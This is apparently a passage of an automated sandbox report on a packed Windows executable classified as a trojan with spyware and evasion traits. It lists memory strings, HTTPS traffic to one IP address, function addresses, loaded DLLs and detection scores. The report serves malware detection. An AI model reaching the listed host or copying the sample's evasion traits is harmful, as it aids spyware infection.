Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1680085593.000000000409C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1680354756.0000000004095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1680354756.0000000004070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1680085593.000000000409C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1680354756.0000000004095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1680354756.0000000004070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1717651097.0000000001A97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1717450258.0000000001A93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1682052201.000000000405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1697710470.000000000416B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.225:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F849B0	0_2_00F849B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA0D80	0_2_00FA0D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA1740	0_2_00FA1740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0105A16F	0_2_0105A16F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011041DD	0_2_011041DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCE00A	0_2_00FCE00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121E02F	0_2_0121E02F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034026	0_2_01034026
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01120046	0_2_01120046
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111607C	0_2_0111607C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F90180	0_2_00F90180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F609E	0_2_011F609E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCA15D	0_2_00FCA15D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011CA0B5	0_2_011CA0B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102C0DF	0_2_0102C0DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011084DC	0_2_011084DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCA2D7	0_2_00FCA2D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112A32E	0_2_0112A32E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100E385	0_2_0100E385
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011CA3BD	0_2_011CA3BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121639E	0_2_0121639E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104E3E1	0_2_0104E3E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE235	0_2_010EE235
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0110022B	0_2_0110022B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0105024B	0_2_0105024B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F86350	0_2_00F86350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010422AC	0_2_010422AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111C2D4	0_2_0111C2D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E02F6	0_2_011E02F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A82F4	0_2_011A82F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01076524	0_2_01076524
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D0524	0_2_010D0524
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012BA562	0_2_012BA562
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E857C	0_2_011E857C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01242554	0_2_01242554
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01202593	0_2_01202593
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCC431	0_2_00FCC431
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011185DE	0_2_011185DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0116E424	0_2_0116E424
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118A427	0_2_0118A427
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B444D	0_2_010B444D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC85AD	0_2_00FC85AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010AE494	0_2_010AE494
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012BC49F	0_2_012BC49F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011084DC	0_2_011084DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01174707	0_2_01174707
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114472E	0_2_0114472E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112A740	0_2_0112A740
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E0786	0_2_010E0786
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EC7BD	0_2_010EC7BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010A07DD	0_2_010A07DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010007D8	0_2_010007D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C27F7	0_2_011C27F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119061C	0_2_0119061C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA67C9	0_2_00FA67C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117C647	0_2_0117C647
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C464D	0_2_011C464D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F9C798	0_2_00F9C798
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA672D	0_2_00FA672D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFE71B	0_2_00FFE71B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCA701	0_2_00FCA701
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01270936	0_2_01270936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE68DC	0_2_00FE68DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122A90E	0_2_0122A90E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01184921	0_2_01184921
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011C4954	0_2_011C4954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118A948	0_2_0118A948
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011AE9C3	0_2_011AE9C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011749F1	0_2_011749F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010A880A	0_2_010A880A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E282C	0_2_010E282C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F86960	0_2_00F86960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01228B27	0_2_01228B27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104CB6D	0_2_0104CB6D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F96A89	0_2_00F96A89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119EB89	0_2_0119EB89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101CBB2	0_2_0101CBB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E4BCF	0_2_010E4BCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B6BDF	0_2_010B6BDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113EBE4	0_2_0113EBE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD2BE2	0_2_00FD2BE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126EA46	0_2_0126EA46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCCB8A	0_2_00FCCB8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01276AA0	0_2_01276AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0103EACE	0_2_0103EACE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC8CC6	0_2_00FC8CC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCACB7	0_2_00FCACB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01234D78	0_2_01234D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A4D72	0_2_011A4D72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DADBD	0_2_011DADBD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004DB7	0_2_01004DB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100ADCE	0_2_0100ADCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01268DF7	0_2_01268DF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA0DF0	0_2_00FA0DF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010A4C17	0_2_010A4C17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01250C08	0_2_01250C08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01218C41	0_2_01218C41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114CC9C	0_2_0114CC9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEAD15	0_2_00FEAD15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01082F09	0_2_01082F09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01280F2F	0_2_01280F2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01010F09	0_2_01010F09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01192F35	0_2_01192F35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0108AF3F	0_2_0108AF3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129CF7B	0_2_0129CF7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01266F4E	0_2_01266F4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01166F81	0_2_01166F81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01248FBC	0_2_01248FBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01010FC0	0_2_01010FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BCFCF	0_2_011BCFCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107AFE0	0_2_0107AFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01102FE5	0_2_01102FE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01276E09	0_2_01276E09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01074E62	0_2_01074E62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01146EA7	0_2_01146EA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01257124	0_2_01257124
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01105150	0_2_01105150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0108D1B7	0_2_0108D1B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123D1E4	0_2_0123D1E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011DF1C3	0_2_011DF1C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012291CE	0_2_012291CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129D038	0_2_0129D038
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100F023	0_2_0100F023
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101F044	0_2_0101F044
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BD05C	0_2_011BD05C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D3056	0_2_010D3056
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119D0CA	0_2_0119D0CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D90EE	0_2_010D90EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EB0F5	0_2_011EB0F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE72F7	0_2_00FE72F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01251302	0_2_01251302
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BB333	0_2_010BB333
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121936B	0_2_0121936B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB92B0	0_2_00FB92B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113B35C	0_2_0113B35C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01231357	0_2_01231357
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129F35F	0_2_0129F35F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF1286	0_2_00FF1286
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F83270	0_2_00F83270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011073EC	0_2_011073EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01125217	0_2_01125217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0109D283	0_2_0109D283
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011872B7	0_2_011872B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011332FE	0_2_011332FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010ED2F5	0_2_010ED2F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0116D53B	0_2_0116D53B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107153C	0_2_0107153C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BF54F	0_2_010BF54F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0109558C	0_2_0109558C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011835A2	0_2_011835A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E740E	0_2_010E740E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB95F0	0_2_00FB95F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A5417	0_2_012A5417
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123547B	0_2_0123547B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104D485	0_2_0104D485
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F85570	0_2_00F85570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106B489	0_2_0106B489
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01259494	0_2_01259494
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010274E5	0_2_010274E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF512	0_2_00FFF512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF76E8	0_2_00FF76E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F816C0	0_2_00F816C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FF736	0_2_010FF736
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A5764	0_2_011A5764
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F83660	0_2_00F83660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF3662	0_2_00FF3662
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D17CC	0_2_010D17CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C17F1	0_2_010C17F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0109161B	0_2_0109161B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100763B	0_2_0100763B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BF68F	0_2_010BF68F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102590B	0_2_0102590B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E1937	0_2_011E1937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114993A	0_2_0114993A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011759C2	0_2_011759C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB1810	0_2_00FB1810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B3836	0_2_011B3836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118985F	0_2_0118985F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01065863	0_2_01065863
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106B869	0_2_0106B869
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012BD8E9	0_2_012BD8E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012898EB	0_2_012898EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011FD8DA	0_2_011FD8DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012258E4	0_2_012258E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F58CC	0_2_011F58CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C18C7	0_2_012C18C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01269B31	0_2_01269B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0109FBC9	0_2_0109FBC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCDA17	0_2_00FCDA17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01253BDB	0_2_01253BDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCBBEE	0_2_00FCBBEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0101FA14	0_2_0101FA14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010BBA5F	0_2_010BBA5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01279A88	0_2_01279A88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118BAAB	0_2_0118BAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC9B3A	0_2_00FC9B3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111DD10	0_2_0111DD10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01071D4A	0_2_01071D4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01217D79	0_2_01217D79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B9DBC	0_2_011B9DBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121DDCF	0_2_0121DDCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FFDF4	0_2_010FFDF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCBDF0	0_2_00FCBDF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD7DEF	0_2_00FD7DEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01119C48	0_2_01119C48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D3C41	0_2_011D3C41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E5C80	0_2_011E5C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114BCCE	0_2_0114BCCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01275F3B	0_2_01275F3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA5EDD	0_2_00FA5EDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B5F3C	0_2_010B5F3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCBEA8	0_2_00FCBEA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FCBE7C	0_2_00FCBE7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01109F81	0_2_01109F81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E9F89	0_2_011E9F89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B9FB7	0_2_012B9FB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01133FB3	0_2_01133FB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01171FB9	0_2_01171FB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01049FB0	0_2_01049FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F87E40	0_2_00F87E40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F83FE0	0_2_00F83FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01259E64	0_2_01259E64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01191E5F	0_2_01191E5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01073E6C	0_2_01073E6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B5EE8	0_2_010B5EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F9EF6	0_2_011F9EF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112BEE6	0_2_0112BEE6

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F88850 appears 60 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F88F60 appears 136 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebdzshell.dll4 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamebdzshell.dll4 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 29%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 6519256 > 1048576

Source: file.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x61c800

Source: file.exe

